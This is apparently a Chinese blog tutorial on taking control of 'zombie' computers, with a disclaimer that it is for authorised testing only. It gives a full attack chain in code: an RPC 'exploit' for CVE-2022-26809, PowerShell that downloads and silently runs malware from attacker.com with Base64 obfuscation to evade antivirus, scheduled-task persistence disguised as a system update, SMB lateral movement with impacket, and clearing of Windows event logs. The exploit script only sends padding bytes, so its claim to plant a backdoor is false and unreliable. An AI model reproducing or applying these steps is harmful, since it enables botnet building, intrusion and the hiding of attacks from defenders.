一、肉鸡控制的核心：从底层到应用的渗透思路

肉鸡控制技术是以远程操控目标计算机为最终目的的一类攻击手段。核心思想是通过漏洞、社工或网络钓鱼手段，将攻击载荷注入目标环境，从而实现对目标机器的完全掌控。无论是入侵企业内网，还是构建大规模僵尸网络，肉鸡电脑的控制技术都扮演着关键角色。

在本文中，我们将从攻击原理入手，深入探讨技术细节，结合实际案例进行复现与分析，并展示如何通过代码实现远程控制、如何对抗当前的检测机制，以及如何使载荷免杀，以实现更隐蔽的操控效果。本文仅供授权的安全测试使用。

黑客示意图

---

二、漏洞武器化的启示：利用入口点打开控制大门

肉鸡控制技术的第一步，是找到目标计算机的入口点。这里的入口点可以是：

  • 漏洞攻击：RCE（远程代码执行）、反序列化漏洞等。
  • 社工手段：钓鱼邮件、伪装文档或恶意链接。
  • 供应链攻击：在目标使用的合法软件中注入后门。

核心案例：Windows RPC漏洞（CVE-2022-26809）

我们以一个真实漏洞为例，展示如何通过漏洞武器化的方式，在目标机器上获取初始控制权。

CVE-2022-26809 是 Windows RPC组件的一个关键漏洞，通过构造恶意请求，可以实现远程代码执行。

攻击链思路：

  1. 信息收集：扫描目标端口是否启用了 RPC 服务（通常运行在135端口）。
  2. 载荷构造：定制一个能够触发漏洞的特制包。
  3. 远程代码执行：利用漏洞执行 PowerShell 命令，在目标环境植入初始后门。

以下是漏洞利用的 Python POC：

<pre><code class="language-python">import socket import struct

构造一个利用 RPC 漏洞的恶意数据包

def build_exploit_payload():

这里的模拟数据包需要根据实际情况调整

payload = b&quot;\x00\x05\x00\x00&quot; + b&quot;A&quot; * 1000 return payload

def send_rpc_payload(target_ip, target_port):

创建 socket 连接

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((target_ip, target_port)) payload = build_exploit_payload() s.send(payload) print(&quot;[+] Payload sent successfully!&quot;) except Exception as e: print(f&quot;[-] Failed to send payload: {e}&quot;) finally: s.close()

目标信息

target_ip = &quot;192.168.1.10&quot; # 修改为目标IP target_port = 135 # RPC默认端口

发送攻击载荷

send_rpc_payload(target_ip, target_port)</code></pre>

以上代码的作用是通过漏洞入口点向目标发送特定的恶意数据包。成功执行后，可在目标环境直接植入后门。

---

三、Payload构造的艺术：深度植入与免杀技巧

获取初始权限后，下一步是将我们的Payload深度植入目标环境，并规避杀软、EDR的检测。这一步是肉鸡控制的关键，不仅决定了攻击的隐蔽性，也关系到后续的权限维持与横向扩展。

构造免杀的远控载荷

以下是一个典型的 PowerShell 脚本，用于在目标机器上下载并执行远控木马：

<pre><code class="language-powershell"># 下载恶意程序并执行 $remoteUrl = &quot;http://attacker.com/malware.exe&quot; $localPath = &quot;$env:temp\malware.exe&quot; Invoke-WebRequest -Uri $remoteUrl -OutFile $localPath

延迟启动以规避检测

Start-Sleep -Seconds 10

静默执行

Start-Process $localPath -WindowStyle Hidden</code></pre>

为了规避检测，我们可以对代码进行混淆。例如，通过动态解码 URL 和文件路径：

<pre><code class="language-powershell">$urlBytes = [System.Convert]::FromBase64String(&quot;aHR0cDovL2F0dGFja2VyLmNvbS9tYWx3YXJlLmV4ZQ==&quot;) $remoteUrl = [System.Text.Encoding]::UTF8.GetString($urlBytes)

$pathBytes = [System.Convert]::FromBase64String(&quot;QzpcVGVtcFxjYWxjLmV4ZQ==&quot;) $localPath = [System.Text.Encoding]::UTF8.GetString($pathBytes)

Invoke-WebRequest -Uri $remoteUrl -OutFile $localPath Start-Process $localPath -WindowStyle Hidden</code></pre>

通过Base64编码，我们可以降低被静态规则匹配的风险，同时让脚本显得更加隐蔽。

---

四、权限维持与横向移动：从肉鸡到全网掌控

一台肉鸡相当于一个跳板，真正有价值的目标是整个内网。攻击者往往通过以下步骤实现权限维持和横向扩展：

权限维持：构建稳定的控制链

  1. 注册表持久化：通过修改 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 添加恶意启动项。
  2. WMI事件订阅：利用WMI机制，在触发特定事件时自动执行攻击载荷。
  3. 计划任务：创建定时任务，每隔一段时间自动连接攻击者控制端。

以下是通过计划任务实现权限维持的代码：

黑客示意图

<pre><code class="language-powershell"># 创建计划任务以维持后门 $taskName = &quot;SystemUpdateTask&quot; $taskCommand = &quot;$env:temp\malware.exe&quot;

$action = New-ScheduledTaskAction -Execute $taskCommand $trigger = New-ScheduledTaskTrigger -AtStartup $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable

Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Settings $settings</code></pre>

横向移动：全面渗透内网

  1. 利用 SMB 和 WMI 远程访问其他机器。
  2. 遍历共享文件夹，寻找敏感信息。
  3. 利用域控制器脚本批量部署后门。

以下是通过 SMB 实现横向移动的 Python 示例：

<pre><code class="language-python">from impacket.smbconnection import SMBConnection

def connect_to_share(target_ip, username, password): conn = SMBConnection(target_ip, username, password, target_ip) conn.connect() print(&quot;[+] Connected to SMB share!&quot;)

列出共享文件

shares = conn.listShares() for share in shares: print(f&quot;Share: {share[&#039;shi1_netname&#039;]}&quot;)

攻击目标信息

target_ip = &quot;192.168.1.20&quot; username = &quot;admin&quot; password = &quot;password123&quot;

connect_to_share(target_ip, username, password)</code></pre>

通过 SMB，我们可以在目标机器之间快速传播后门，为整个内网构建控制链。

---

五、痕迹清除：隐蔽你的存在

一个成功的攻击不仅在于攻破目标，还在于让你的攻击活动无法被发现。我们可以通过以下方法清除攻击痕迹：

  1. 删除日志：利用 wevtutil.exe 清除 Windows 日志。
  2. 隐藏文件：使用 NTFS流将恶意文件隐藏在普通文件中。
  3. 网络流量伪装：通过加密和伪造正常流量绕过监控。

以下是利用 PowerShell 清除日志的代码：

<pre><code class="language-powershell"># 清除系统日志 wevtutil.exe cl Application wevtutil.exe cl Security wevtutil.exe cl System Write-Host &quot;Logs cleared successfully!&quot;</code></pre>

同时，我们可以使用 HTTPS 加密控制端通信，以避免被流量分析工具检测。

---

六、个人经验：红队视角的实战心得

做红队攻击，最大的挑战并不是技术本身，而是如何在真实环境中灵活应对。以下是一些个人经验分享：

  1. 武器化思路：技术本身只是工具，真正的攻击需要结合目标环境设计定制方案。没有万能的Payload，只有适合当前场景的武器。
  2. 隐蔽与持久性：攻击并不难，难的是在被检测机制层层包围的环境中长期保持控制权。
  3. 迭代与学习：安全领域变化非常快，保持学习和研究是红队持续强大的关键。

希望这篇文章能为你打开肉鸡控制技术的大门，也提醒你在合法授权的前提下，进行安全测试和研究。

黑客示意图